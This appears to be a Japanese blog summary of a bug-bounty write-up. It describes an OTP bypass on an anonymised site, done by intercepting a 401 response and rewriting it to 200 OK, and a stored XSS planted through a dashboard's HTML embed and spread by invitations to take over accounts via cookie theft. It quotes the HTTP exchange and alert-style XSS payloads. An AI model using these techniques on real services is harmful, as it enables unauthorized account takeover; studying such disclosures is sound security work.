Hello there, ('ω')ノ
保存されたXSSへのOTPバイパスについてのストーリーを。
脆弱性:
OTPバイパス
保存されたXSS
記事:
https://pallabjyoti218.medium.com/story-about-otp-bypass-to-stored-xss-81bfd735c709
今回は、トリッキーな悪用で。
匿名でアカウントを作成してユーザアカウントを乗っ取る方法を。
ターゲットのwww.xyz.comで、アカウントを作成して。
登録フォームに記入して、登録後にOTP検証を要求することに。
自分の電子メールでOTPを受け取って。
その4桁の数字は、実際にはOTPは脆弱で。
OTPの1234の数値で、34の値は何度もOTPを要求したときにのみ変更されるので。
ブルートフォースに対して脆弱で。
ここで、OTP検証を入力する必要があるので。
ランダムに0000を入力してリクエストすると。
POST /v1/email?change=false&code=0000 HTTP/1.1
Host: xyz.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
ここで、ホストに転送して応答は下記のとおりで。
HTTP/1.1 401 Unauthorized
Content-Security-Policy: frame-ancestors ‘none’
Content-Type: application/json; charset=utf-8
Content-Length: 42
Date: Fri, 22 May 2020 19:20:04 GMT
{“err”:”Incorrect code”,”ECODE”:”USR_014"}
応答は、401無許可を得たものの心配する必要はなく。
ここで、応答操作を使用してバイパスするだけで。
応答を次のように変更して。
HTTP/1.1 200 OK
Content-Security-Policy: frame-ancestors ‘none’
Content-Type: application/json; charset=utf-8
Content-Length: 42
Date: Fri, 22 May 2020 19:20:04 GMT
{}
すると、OTP(ワンタイムパスワード)をバイパスして。
確認なしでログインできて。
下記では、OTPバイパス、xss、csrf、ssrfに関するいくつかのものを。
見つけることができて。
https://github.com/devanshbatham/Awesome-Bugbounty-Writeups
次に、保存されたXSSに目を向けることに。
ここでは、ユーザのダッシュボードから。
HTML As Custom Embedなどを追加できるので。
下記を実行するとHTMLしか受け入れられず。
“><svg/onload=alert(1);>
もう1つのペイロードを使用してみると。
HTMLペイロードが実行されて。
<button onclick=”window.alert(1)”>click</button>
上の画像のように、「click」ボタンを表示するペイロードは。
実際には、非表示にしていて。
「click」ボタンをクリックするとXSSが実行されて。
ここで、ダッシュボードに任意のユーザを招待できる場所を見つけたので。
別のIDメールアドレスを追加して、ダッシュボードに招待状を送信して。
被害者が「click」ボタンをクリックすると。
被害者を招待することに成功して。
ペイロードが実行されると。
Cookieを盗むことで誰でもアカウントを乗っ取ることができて。
下記は、被害者ブラウザで。
Best regards, (^^ゞ